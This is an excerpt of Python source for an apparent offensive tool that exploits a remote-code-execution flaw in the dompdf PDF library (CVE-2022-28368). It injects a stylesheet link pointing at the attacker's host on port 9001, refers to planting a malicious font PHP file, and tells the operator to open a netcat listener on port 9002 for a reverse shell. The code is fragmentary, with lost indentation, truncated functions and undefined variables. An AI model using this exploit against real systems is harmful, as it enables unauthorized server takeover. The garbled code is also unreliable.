def get_ip_addresses():
output = subprocess.check_output(['ifconfig']).decode()
ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
ip_addresses = re.findall(ip_pattern, output)
ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]
ip_addresses = list(set(ip_addresses))
ip_addresses.insert(0, 'localhost')
return ip_addresses
def choose_ip_address(stdscr, ip_addresses):
curses.curs_set(0)
curses.noecho()
stdscr.keypad(True)
current_row = 0
num_rows = len(ip_addresses)
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
while True:
stdscr.clear()
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
for i, ip_address in enumerate(ip_addresses):
if i == current_row:
stdscr.addstr(ip_address, curses.A_REVERSE)
else:
stdscr.addstr(ip_address)
stdscr.addstr("\n")
key = stdscr.getch()
if key == curses.KEY_UP and current_row > 0:
current_row -= 1
elif key == curses.KEY_DOWN and current_row < num_rows - 1:
current_row += 1
elif key == curses.KEY_ENTER or key in [10, 13]:
return ip_addresses[current_row]
notes:
- Provide the parameters in the URL (regardless the request method)
- Known Issues! - Testing with https://github.com/positive-security/dompdf-rce
The program has been successfully tested for RCE on some systems where dompdf was implemented,
But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce
due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2.
In this application, the same implementation was added for now.
Although it may be pointless at the moment, you can still manually add the payload
by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
- more : https://www.cve.org/CVERecord?id=CVE-2022-28368
''')
sys.exit()
def check_url(url):
regex = re.compile(
r'^(?:http|ftp)s?://'
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
r'localhost|'
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
r'(?::\d+)?'
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
if not re.match(regex, url):
print(f"\033[91m[err]:\033[0m {url} is not a valid url")
return False
else:
return True
for param in reversed(query_string.split('&')):
if '=' in param:
name = param.split('=')[0]
if name:
return name
return None
if __name__ == '__main__':
banner()
ports = ['9001', '9002']
for port in ports:
try:
processes = subprocess.check_output(["lsof", "-i", "TCP:9001-9002"]).decode("utf-8")
for line in processes.split("\n"):
if "LISTEN" in line:
pid = line.split()[1]
port = line.split()[8].split(":")[1]
if port == "9001" or port == "9002":
os.system("kill -9 {}".format(pid))
print(f'\033[94m[inf]:\033[0m processes running on port {port} have been terminated')
except:
pass
if len(sys.argv) == 1:
print("\033[91m[err]:\033[0m no endpoints were provided. try --help")
sys.exit(1)
elif sys.argv[1] == "--help" or sys.argv[1] == "-h":
help()
elif len(sys.argv) > 1:
parser = argparse.ArgumentParser(description='',add_help=False, usage="./dompdf-rce --inject <css-inject-endpoint/file-with-multiple-endpoints> --dompdf <dompdf-instance-endpoint>")
parser.add_argument('--inject', type=str, help='[info] provide the url of the css inject endpoint', required=True)
parser.add_argument('--dompdf', type=str, help='[info] provide the url of the dompdf instance', required=True)
args = parser.parse_args()
injectpoint = args.inject
dompdf_url = args.dompdf
if not check_url(injectpoint) and (not check_url(dompdf_url)):
sys.exit()
param=final_param(injectpoint)
if param == None:
print("\n\033[91m[err]: no parameters were provided! \033[0mnote: provide the parameters in the url (--inject-css-endpoint url?param=) ")
sys.exit()
payload="<link rel=stylesheet href=\'http://"+sip+":9001/exploit.css\'>"
data = '{\r\n"'+param+'": "'+payload+'"\r\n}'
try:
response1 = requests.get(url+urllib.parse.quote(payload),headers=headers,)
response2 = requests.post(url, headers=headers, data=data, verify=False)
except:
print("\033[91m[err]:\033[0m failed to send the requests! check connection to the host")
sys.exit()
if response1.status_code == 200 or response2.status_code == 200:
print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: 200")
else:
print("\n\033[91m[err]: failed to send the exploit.css!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response1.status_code)+","+str(response2.status_code))
print("\033[94m[inf]:\033[0m terminating the http server..")
http_server.terminate()
print("\033[93m[ins]:\033[0m start a listener on port 9002 (execute the command on another terminal and press enter)")
print("\nnc -lvnp 9002")
input("\n\033[93m[ins]:\033[0m press enter to continue!")
print("\033[93m[ins]:\033[0m check for connections!")
del headers['Content-Type']
url = dompdf_url
if url.endswith("/"):
url = url[:-1]